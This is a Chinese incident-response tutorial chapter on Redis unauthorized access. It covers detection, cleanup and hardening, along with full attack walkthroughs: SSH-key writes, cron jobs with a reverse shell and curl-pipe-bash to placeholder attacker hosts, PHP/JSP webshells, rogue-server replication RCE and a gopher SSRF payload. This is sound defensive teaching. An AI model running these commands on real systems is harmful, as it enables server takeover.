Linux应急响应 - 13 Redis未授权访问应急

Redis 未授权访问应急响应

本章聚焦 Redis 未授权访问这一高频攻击场景,详细拆解三大经典攻击链的原理与检测方法,并覆盖主从复制 RCE 等高级攻击手法

关联章节:04-账户安全排查15-Crontab后门16-SSH-authorized_keys后门

1. Redis 未授权访问原理

1.1 默认配置风险

Redis 在早期版本(3.x 及之前)默认配置非常宽松,存在以下安全隐患:

配置项 默认值(危险) 安全值
bind 0.0.0.0(所有接口) 127.0.0.1 或指定内网 IP
requirepass 无(空密码) 设置强密码
protected-mode no(3.2 之前) yes
port 6379 非标准端口

当 Redis 绑定在 0.0.0.0 且没有密码保护时,任何人都可以通过网络直接连接并执行任意 Redis 命令

更危险的是,Redis 提供了 CONFIG SET 命令,允许在运行时修改配置,包括数据存储路径和文件名

这意味着攻击者可以将 Redis 的数据”写入”到服务器上的任意位置

1.2 Redis 版本安全演进

Redis 3.x(及更早版本)

默认不开启 protected-mode

默认绑定所有网卡

默认无密码

这是受害面最广的版本

Redis 3.2+

引入 protected-mode,默认开启

当同时满足以下条件时拒绝外部连接:

  1. 没有设置 bind 指令

  2. 没有设置 requirepass

但很多管理员为了”方便”,手动关闭了 protected-mode

Redis 4.x

引入 MODULE LOAD 命令,可以动态加载 .so 模块

这为主从复制 RCE 攻击提供了新的利用方式

Redis 6.x

引入 ACL(Access Control List)系统

支持多用户和细粒度权限控制

支持 TLS 加密连接

默认用户仍然没有密码,但安全建议更加突出

Redis 7.x

进一步强化 ACL

CONFIG SET 等危险命令可通过 ACL 限制

但向后兼容,旧配置仍可运行

快速检查 Redis 版本:

1
2
3
redis-cli INFO server | grep redis_version
# 或远程检测
redis-cli -h <target_ip> -p 6379 INFO server 2>/dev/null | grep redis_version

1.3 攻击面扫描

判断目标是否存在 Redis 未授权访问:

1
2
3
4
5
6
7
8
9
10
# 方法1:直接连接测试
redis-cli -h <target_ip> -p 6379 PING
# 返回 PONG 说明无需认证即可连接

# 方法2:使用 nmap 扫描
nmap -sV -p 6379 <target_ip>
nmap --script redis-info -p 6379 <target_ip>

# 方法3:使用 masscan 大范围扫描(攻击者视角)
masscan -p6379 <ip_range> --rate=10000

在应急响应中,我们需要反向思考:检查我们的 Redis 是否暴露在了公网

1
2
3
4
5
6
7
# 检查 Redis 监听地址
ss -tlnp | grep 6379
netstat -tlnp | grep 6379

# 检查防火墙规则
iptables -L -n | grep 6379
firewall-cmd --list-all 2>/dev/null | grep 6379

2. 三大经典攻击链

2.1 攻击链 1:写入 SSH 公钥

2.1.1 攻击原理

攻击者利用 CONFIG SET dirCONFIG SET dbfilename 修改 Redis 的 RDB 持久化路径

将路径指向 /root/.ssh/,文件名设为 authorized_keys

然后将自己的 SSH 公钥写入 Redis 的一个 key 中

执行 SAVE 触发 RDB 持久化,Redis 会将数据(包含公钥)写入目标文件

由于 SSH 在解析 authorized_keys 时会忽略非标准行,攻击者的公钥可以被正确识别

2.1.2 完整攻击步骤

攻击者端生成密钥对:

1
ssh-keygen -t rsa -b 4096 -f /tmp/redis_rsa -N ""

将公钥写入 Redis:

1
2
3
4
5
6
7
8
9
# 在公钥前后加换行符,确保不被 RDB 数据污染
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/pub.txt

# 连接 Redis 并写入
redis-cli -h <target_ip> -p 6379 flushall
cat /tmp/pub.txt | redis-cli -h <target_ip> -p 6379 -x set ssh_key
redis-cli -h <target_ip> -p 6379 config set dir /root/.ssh/
redis-cli -h <target_ip> -p 6379 config set dbfilename authorized_keys
redis-cli -h <target_ip> -p 6379 save

攻击者直接 SSH 登录:

1
ssh -i /tmp/redis_rsa root@<target_ip>

2.1.3 检测方法

检查 authorized_keys 是否被篡改

1
2
3
4
5
6
7
# 查看文件内容,正常的 authorized_keys 只包含纯文本公钥
cat /root/.ssh/authorized_keys

# 如果被 Redis 写入,会在公钥前后看到 RDB 格式的二进制乱码
# 典型特征:文件开头是 REDIS0009 或 REDIS0008 等 RDB 版本头
xxd /root/.ssh/authorized_keys | head -5
# 正常文件不会有 REDIS 开头的魔数

检查文件元数据

1
2
3
4
5
6
# 查看文件修改时间和权限
stat /root/.ssh/authorized_keys
ls -la /root/.ssh/authorized_keys

# 对比文件所有者——Redis 写入的文件所有者是 redis 运行用户
# 如果 Redis 以 root 运行,则文件所有者是 root

检查所有用户的 authorized_keys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 遍历所有用户的 .ssh 目录
for user_home in /home/* /root; do
auth_file="$user_home/.ssh/authorized_keys"
if [ -f "$auth_file" ]; then
echo "=== $auth_file ==="
# 检查是否包含 REDIS RDB 头部
if xxd "$auth_file" | grep -q "REDIS"; then
echo "[!] 警告: 疑似 Redis 写入的公钥文件!"
fi
# 显示文件信息
stat "$auth_file"
echo "--- 内容 ---"
cat "$auth_file"
echo ""
fi
done

与已知合法公钥对比

1
2
3
4
5
6
# 提取 authorized_keys 中的所有公钥指纹
while IFS= read -r line; do
echo "$line" | ssh-keygen -l -f - 2>/dev/null
done < /root/.ssh/authorized_keys

# 与运维团队的公钥指纹清单对比,发现未授权的公钥

2.2 攻击链 2:写入 Crontab

2.2.1 攻击原理

与写 SSH 公钥类似,但目标路径改为 crontab 目录

Ubuntu/Debian 系统/var/spool/cron/crontabs/

CentOS/RHEL 系统/var/spool/cron/

cron 服务会解析这些文件并定时执行其中的命令

cron 对格式的容忍度比 SSH 更低,但仍然会尝试解析有效行

2.2.2 完整攻击步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
# 反弹 shell 型
redis-cli -h <target_ip> -p 6379
> set cron_payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save

# 下载执行型(更常见)
redis-cli -h <target_ip> -p 6379
> set cron_payload "\n\n*/5 * * * * curl http://恶意IP/shell.sh | bash\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save

2.2.3 Ubuntu 与 CentOS 的差异

差异点 Ubuntu/Debian CentOS/RHEL
crontab 目录 /var/spool/cron/crontabs/ /var/spool/cron/
文件权限要求 必须 0600,且属主匹配 相对宽松
cron 容错性 较严格,RDB 数据可能导致 cron 拒绝解析 较宽松,会跳过无效行

重要:在 Ubuntu 系统上,由于 cron 对文件权限和格式要求更严格,Redis 写入的 crontab 可能不会被执行。但不能因此放松警惕,攻击者可能使用其他技巧绕过

2.2.4 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 1. 列出所有用户的 crontab
for user in $(cut -d: -f1 /etc/passwd); do
crontab_content=$(crontab -l -u "$user" 2>/dev/null)
if [ -n "$crontab_content" ]; then
echo "=== $user ==="
echo "$crontab_content"
fi
done

# 2. 直接检查 crontab 文件是否包含 RDB 数据
# CentOS
for f in /var/spool/cron/*; do
if [ -f "$f" ]; then
echo "=== $f ==="
xxd "$f" | head -3
if xxd "$f" | grep -q "REDIS"; then
echo "[!] 警告: 疑似 Redis 写入的 crontab!"
fi
fi
done

# Ubuntu
for f in /var/spool/cron/crontabs/*; do
if [ -f "$f" ]; then
echo "=== $f ==="
xxd "$f" | head -3
if xxd "$f" | grep -q "REDIS"; then
echo "[!] 警告: 疑似 Redis 写入的 crontab!"
fi
fi
done

# 3. 查看 crontab 内容中的可疑命令
grep -rn "curl\|wget\|/dev/tcp\|bash -i\|nc -e\|python -c" /var/spool/cron/ 2>/dev/null
grep -rn "curl\|wget\|/dev/tcp\|bash -i\|nc -e\|python -c" /var/spool/cron/crontabs/ 2>/dev/null

# 4. 使用 xxd 查看二进制特征
# 正常 crontab 文件全是 ASCII 文本
# Redis 写入的文件开头会有 RDB 魔数
xxd /var/spool/cron/root | head -10
# 如果看到类似以下内容,说明被 Redis 写入:
# 00000000: 5245 4449 5330 3030 39fa 0972 6564 6973 REDIS0009..redis

2.2.5 cron 日志辅助确认

1
2
3
4
5
6
7
8
9
# Ubuntu
grep CRON /var/log/syslog | tail -50

# CentOS
grep CRON /var/log/cron | tail -50

# 查看是否有异常命令被执行
grep -E "curl|wget|bash|sh|python" /var/log/syslog 2>/dev/null
grep -E "curl|wget|bash|sh|python" /var/log/cron 2>/dev/null

2.3 攻击链 3:写入 Webshell

2.3.1 攻击原理

将 Redis RDB 文件写入 Web 服务器的文档根目录

常见目标路径:

/var/www/html/(Apache 默认)

/usr/share/nginx/html/(Nginx 默认)

/opt/lampp/htdocs/(XAMPP)

/usr/local/tomcat/webapps/ROOT/(Tomcat)

2.3.2 完整攻击步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
# PHP webshell
redis-cli -h <target_ip> -p 6379
> set webshell "\n\n<?php @eval($_POST['cmd']); ?>\n\n"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save

# JSP webshell(Tomcat 环境)
redis-cli -h <target_ip> -p 6379
> set webshell "\n\n<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>\n\n"
> config set dir /usr/local/tomcat/webapps/ROOT/
> config set dbfilename cmd.jsp
> save

2.3.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. 在 web 目录中查找包含 RDB 头的文件
find /var/www/ /usr/share/nginx/ -type f \( -name "*.php" -o -name "*.jsp" \) -exec sh -c '
if xxd "{}" | head -1 | grep -q "REDIS"; then
echo "[!] 疑似 Redis 写入: {}"
fi
' \;

# 2. 查找最近被修改的 web 文件
find /var/www/ -type f -mtime -7 -ls 2>/dev/null

# 3. 检查 web 文件中的恶意代码
grep -rn "eval\|system\|exec\|passthru\|shell_exec\|assert" /var/www/html/ --include="*.php" 2>/dev/null

# 4. 查看文件大小——Redis 写入的 webshell 通常比正常 PHP 文件大
# 因为包含 RDB 头部和尾部数据
ls -la /var/www/html/*.php

# 5. 查看文件内容,确认是否混有二进制数据
file /var/www/html/*.php
# Redis 写入的文件会显示 "data" 而非 "PHP script"

2.3.4 特殊情况

PHP 对文件中的二进制数据有一定容忍度,只要 <?php ... ?> 标签完整,中间的代码就能执行

但 JSP 的容忍度较低,复杂的 webshell 可能无法正常执行

攻击者有时会使用更简短的 payload 来提高成功率

3. Redis 高级攻击

3.1 主从复制 RCE(FULLRESYNC + MODULE LOAD)

3.1.1 攻击原理

Redis 4.x 引入了 MODULE LOAD 命令,可以加载 .so 动态链接库扩展 Redis 功能

攻击者利用 Redis 的主从复制机制,将恶意 .so 文件同步到目标 Redis

具体步骤:

  1. 攻击者启动一个恶意 Redis 主节点(或使用工具模拟)

  2. 让目标 Redis 成为攻击者的从节点(SLAVEOF 攻击者IP 端口

  3. 通过 FULLRESYNC 全量同步将恶意 .so 文件传输到目标

  4. 在目标 Redis 上执行 MODULE LOAD /path/to/evil.so

  5. 调用恶意模块提供的命令(如 system.exec)执行任意系统命令

3.1.2 常用工具

1
2
3
4
5
6
# redis-rogue-server — 自动化主从复制 RCE 工具
# https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost <target_ip> --lhost <attacker_ip>

# RedisModules-ExecuteCommand — 恶意模块源码
# 编译后得到 module.so,加载后可执行系统命令

3.1.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. 检查 Redis 是否被配置为从节点
redis-cli INFO replication
# 关注 role 字段:如果是 slave 且你没有配置主从复制,说明被攻击
# 关注 master_host 和 master_port

# 2. 检查已加载的模块
redis-cli MODULE LIST
# 正常情况下应该为空或只有你主动加载的模块

# 3. 检查 Redis plugin 目录中的 .so 文件
redis-cli CONFIG GET dir
find / -name "*.so" -newer /etc/passwd -ls 2>/dev/null

# 4. 检查 Redis 日志
# 查找 SLAVEOF、MODULE LOAD 等可疑操作
grep -E "SLAVE|REPLCONF|FULLRESYNC|MODULE" /var/log/redis/redis-server.log 2>/dev/null
grep -E "SLAVE|REPLCONF|FULLRESYNC|MODULE" /var/log/redis.log 2>/dev/null

3.2 Lua 沙箱逃逸

Redis 支持通过 EVAL 命令执行 Lua 脚本

正常情况下,Lua 沙箱限制了可用的函数和模块

历史上出现过多个 Lua 沙箱逃逸漏洞:

CVE-2022-0543(Debian/Ubuntu 特有)

由于 Debian 打包 Redis 时链接了系统 Lua 库而非静态编译

攻击者可通过 package.loadlib 加载任意 .so 文件

影响范围:Debian/Ubuntu 上的 Redis

1
2
3
4
5
6
7
8
9
10
# CVE-2022-0543 检测
# 1. 检查 Redis 版本和发行版
redis-cli INFO server | grep -E "redis_version|os"

# 2. 检查是否有 Lua 相关的异常日志
grep -i "lua\|eval\|loadlib" /var/log/redis/*.log 2>/dev/null

# 3. 检查 Redis 是否使用系统 Lua 库
ldd $(which redis-server) | grep lua
# 如果有输出,说明使用了动态链接的 Lua,存在风险

3.3 SSRF 通过 Redis(Gopher 协议)

当 Web 应用存在 SSRF 漏洞时,攻击者可以通过 Gopher 协议构造 Redis 命令

即使 Redis 只监听 127.0.0.1,也能通过 SSRF 间接攻击

Gopher 协议格式:

1
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0akey1%0d%0a$7%0d%0avalue1%0d%0a

检测方法:

1
2
3
4
5
6
7
8
# 1. 检查 Web 应用日志中是否有 gopher 协议请求
grep -ri "gopher://" /var/log/nginx/ /var/log/apache2/ /var/log/httpd/ 2>/dev/null

# 2. 检查 Redis 慢日志,是否有来自 localhost 的异常操作
redis-cli SLOWLOG GET 100

# 3. 如果使用了 curl 或类似库,检查是否限制了协议
# 在代码层面应禁用 gopher、dict、file 等协议

防御:Redis 绑定 127.0.0.1 并不够,还需要设置密码。Web 应用需要对 SSRF 进行防护

4. 排查方法

4.1 检查 Redis 配置

这是排查的第一步——了解 Redis 当前的安全状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 获取所有配置
redis-cli CONFIG GET "*"

# 重点检查以下配置项
redis-cli CONFIG GET bind
redis-cli CONFIG GET requirepass
redis-cli CONFIG GET protected-mode
redis-cli CONFIG GET dir
redis-cli CONFIG GET dbfilename
redis-cli CONFIG GET rename-command
redis-cli CONFIG GET slave-read-only
redis-cli CONFIG GET loadmodule

# 检查配置文件位置
redis-cli CONFIG GET "config-file"
# 然后查看配置文件,是否有被修改的痕迹

4.2 检查 Redis 中的异常 Key

攻击者写入数据时会创建 Key,检查是否有可疑的 Key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 查看所有 key(数据量小时)
redis-cli KEYS "*"

# 数据量大时使用 SCAN(不阻塞)
redis-cli --scan --pattern "*"

# 查看可疑 key 的内容
redis-cli GET <key_name>

# 查看 key 的类型
redis-cli TYPE <key_name>

# 常见可疑 key 名
# ssh_key, crackit, shell, webshell, cron, backup 等
redis-cli KEYS "*ssh*"
redis-cli KEYS "*shell*"
redis-cli KEYS "*cron*"
redis-cli KEYS "*hack*"

4.3 检查 Redis 慢日志和命令记录

Redis 的慢日志可以记录执行时间较长的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看慢日志
redis-cli SLOWLOG GET 100

# 查看慢日志长度
redis-cli SLOWLOG LEN

# 重点关注以下命令:
# CONFIG SET — 修改配置(dir, dbfilename)
# SAVE / BGSAVE — 触发持久化
# SLAVEOF / REPLICAOF — 设置主从复制
# MODULE LOAD — 加载恶意模块
# EVAL — 执行 Lua 脚本
# FLUSHALL / FLUSHDB — 清空数据(攻击前常用)

如果开启了 Redis 日志,也可以从日志文件分析

1
2
3
4
5
6
7
8
# 查看 Redis 日志位置
redis-cli CONFIG GET logfile

# 分析日志
cat /var/log/redis/redis-server.log | grep -E "CONFIG|SAVE|SLAVE|MODULE|EVAL|FLUSH"

# 查看日志级别
redis-cli CONFIG GET loglevel

4.4 检查 Redis INFO 信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 完整信息
redis-cli INFO

# 重点关注 section
redis-cli INFO server # Redis 版本、运行时间、配置文件
redis-cli INFO clients # 连接的客户端数量和详情
redis-cli INFO memory # 内存使用情况
redis-cli INFO stats # 命令统计
redis-cli INFO replication # 主从复制状态
redis-cli INFO keyspace # 数据库 key 统计

# 查看当前连接的客户端
redis-cli CLIENT LIST
# 关注来源 IP 和正在执行的命令

# 查看命令执行统计
redis-cli INFO commandstats
# 关注 CONFIG, SAVE, SLAVEOF, MODULE 等命令的调用次数

4.5 网络层排查

检查谁连接了 Redis(6379 端口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看 Redis 端口的活跃连接
ss -tnp | grep 6379
netstat -tnp | grep 6379

# 查看历史连接(如果有网络流量日志)
# 使用 tcpdump 实时抓取
tcpdump -i eth0 port 6379 -w /tmp/redis_traffic.pcap &

# 检查防火墙日志
grep 6379 /var/log/messages 2>/dev/null
journalctl -u firewalld | grep 6379 2>/dev/null

# 使用 conntrack 查看连接跟踪(如果有)
conntrack -L | grep 6379 2>/dev/null

4.6 关联排查

Redis 未授权访问的攻击通常是攻击链的一环,需要关联排查后续操作

排查顺序:

  1. SSH Keys → 参考 16-SSH-authorized_keys后门
1
2
# 检查所有 authorized_keys
find / -name "authorized_keys" -exec ls -la {} \; -exec cat {} \; 2>/dev/null
  1. Crontab → 参考 15-Crontab后门
1
2
3
4
5
6
7
# 检查所有 crontab
for user in $(cut -d: -f1 /etc/passwd); do
echo "=== $user ==="
crontab -l -u "$user" 2>/dev/null
done
cat /etc/crontab
ls -la /etc/cron.d/
  1. Webshell → 检查 web 目录
1
2
# 查找最近修改的 web 文件
find /var/www/ /usr/share/nginx/ -type f -mtime -3 -ls 2>/dev/null
  1. 后续操作 → 攻击者获取权限后可能做了什么
1
2
3
4
5
6
7
# 检查 bash 历史
cat /root/.bash_history
# 检查新增用户
grep "useradd\|adduser" /var/log/auth.log 2>/dev/null
grep "useradd\|adduser" /var/log/secure 2>/dev/null
# 检查是否有挖矿进程 → 参考 [14.5-挖矿病毒应急](/2026/04/04/Linux应急响应-14.5-挖矿病毒应急/)
top -bn1 -o %CPU | head -20

5. 应急处置与加固

5.1 清除恶意数据

清除 Redis 中的恶意 Key

1
2
3
4
5
6
7
8
9
# 列出并删除可疑 key
redis-cli KEYS "*"
redis-cli DEL ssh_key
redis-cli DEL crackit
redis-cli DEL webshell
redis-cli DEL cron_payload
# 如果不确定哪些 key 是恶意的,可以先备份再清理
redis-cli BGSAVE
cp /var/lib/redis/dump.rdb /tmp/redis_backup_$(date +%Y%m%d).rdb

恢复 Redis 配置

1
2
3
4
5
6
7
8
9
10
11
12
# 恢复 dir 和 dbfilename 到正常值
redis-cli CONFIG SET dir /var/lib/redis/
redis-cli CONFIG SET dbfilename dump.rdb

# 取消从节点配置(如果被设置)
redis-cli SLAVEOF NO ONE
# Redis 5.0+ 使用
redis-cli REPLICAOF NO ONE

# 卸载恶意模块
redis-cli MODULE LIST
redis-cli MODULE UNLOAD <module_name>

清除写入的后门文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 清除被污染的 authorized_keys(先备份合法公钥)
# 建议重新生成而不是修复
> /root/.ssh/authorized_keys
# 然后手动添加合法的公钥

# 清除恶意 crontab
crontab -r -u root # 删除 root 的 crontab(先确认内容)
# 或手动编辑
crontab -e -u root

# 清除 webshell
find /var/www/ -name "*.php" -exec file {} \; | grep "data"
# 删除确认为恶意的文件
rm /var/www/html/shell.php

5.2 Redis 安全加固

设置密码认证

1
2
3
4
5
# 在 redis.conf 中设置
requirepass YourStr0ngP@ssw0rd!

# 或运行时设置(重启后失效,需同时修改配置文件)
redis-cli CONFIG SET requirepass "YourStr0ngP@ssw0rd!"

绑定监听地址

1
2
3
4
# redis.conf
bind 127.0.0.1
# 如果需要内网访问
bind 127.0.0.1 192.168.1.100

开启 protected-mode

1
2
# redis.conf
protected-mode yes

重命名危险命令

1
2
3
4
5
6
7
8
9
10
11
# redis.conf —— 将危险命令重命名为随机字符串或空字符串(禁用)
rename-command CONFIG "REDIS_CONFIG_b3d8f7a2"
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command EVAL ""
rename-command DEBUG ""
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command MODULE ""
rename-command SAVE "REDIS_SAVE_e5c1a9f4"
rename-command BGSAVE "REDIS_BGSAVE_d7b2c8e6"

以低权限用户运行 Redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 检查 Redis 运行用户
ps aux | grep redis-server

# 如果以 root 运行,需要修改
# 创建 redis 用户(大多数包管理安装已自动创建)
useradd -r -s /sbin/nologin redis

# 修改数据目录权限
chown -R redis:redis /var/lib/redis/
chown redis:redis /etc/redis/redis.conf

# 修改 systemd 服务文件
# /etc/systemd/system/redis.service 中
# User=redis
# Group=redis

systemctl daemon-reload
systemctl restart redis

防火墙限制

1
2
3
4
5
6
7
8
9
10
11
12
# iptables
iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

# firewalld
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="127.0.0.1" port protocol="tcp" port="6379" accept'
firewall-cmd --permanent --remove-service=redis 2>/dev/null
firewall-cmd --reload

# ufw (Ubuntu)
ufw deny 6379
ufw allow from 127.0.0.1 to any port 6379

Redis 6.x ACL 配置

1
2
3
4
5
6
7
8
9
# 使用 ACL 限制用户权限
redis-cli ACL SETUSER app_user on >password ~app:* +get +set +del -config -module -slaveof

# 限制默认用户
redis-cli ACL SETUSER default on >password ~* +@all -config -module -slaveof -eval

# 查看 ACL 规则
redis-cli ACL LIST
redis-cli ACL GETUSER default

5.3 加固检查清单

检查项 命令 期望结果
监听地址 redis-cli CONFIG GET bind 127.0.0.1 或内网 IP
密码设置 redis-cli CONFIG GET requirepass 非空
protected-mode redis-cli CONFIG GET protected-mode yes
运行用户 ps aux | grep redis 非 root
端口暴露 ss -tlnp | grep 6379 仅本地监听
危险命令 redis-cli CONFIG GET rename-command 已重命名
已加载模块 redis-cli MODULE LIST 空或已知模块
主从状态 redis-cli INFO replication role:master(除非有意配置从节点)

6. 实战练习

6.1 配套实验环境

实验目录:labs/04-redis-unauth/

环境包含一个配置不当的 Redis 实例和一个 Web 服务器

实验目标:

  1. 发现 Redis 未授权访问

  2. 复现三大攻击链

  3. 排查所有后门

  4. 完成安全加固

6.2 练习场景

场景 1:SSH 公钥写入排查

管理员发现有未知 IP 通过 SSH 登录了服务器

排查步骤:

  1. 检查 /root/.ssh/authorized_keys 内容

  2. 使用 xxd 确认是否包含 RDB 数据

  3. 检查 Redis 日志和配置

  4. 清除恶意公钥并加固

场景 2:挖矿病毒入口排查

服务器 CPU 100%,发现挖矿进程

排查步骤:

  1. 发现挖矿进程并确认 PID

  2. 检查 crontab 中的下载命令

  3. 追溯 crontab 写入方式(Redis)

  4. 检查 Redis 配置和连接记录

  5. 完成全链条排查和清理

参考 14.5-挖矿病毒应急 中的处置流程

场景 3:主从复制 RCE

Redis 被设置为从节点,加载了恶意模块

排查步骤:

  1. redis-cli INFO replication 发现异常

  2. redis-cli MODULE LIST 发现恶意模块

  3. 检查 /proc/PID/exe 确认恶意 .so 文件

  4. 卸载模块、恢复配置、加固

6.3 排查 Checklist

完整的 Redis 未授权访问应急排查清单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
□ 确认 Redis 版本和配置
□ 检查 Redis 监听地址和密码
□ 检查 Redis 中的异常 key
□ 检查 Redis 慢日志
□ 检查 Redis 主从复制状态
□ 检查 Redis 已加载模块
□ 检查 /root/.ssh/authorized_keys(所有用户)
□ 检查 crontab(所有用户 + /etc/cron.*)
□ 检查 web 目录是否有 webshell
□ 检查网络连接(谁连过 6379
□ 关联排查后续操作(新用户、挖矿、后门)
□ 清除恶意数据和后门
□ Redis 安全加固
□ 防火墙规则限制
□ 持续监控

上一章 目录 下一章
12-Nginx与Apache应急 Linux应急响应 14-MySQL入侵分析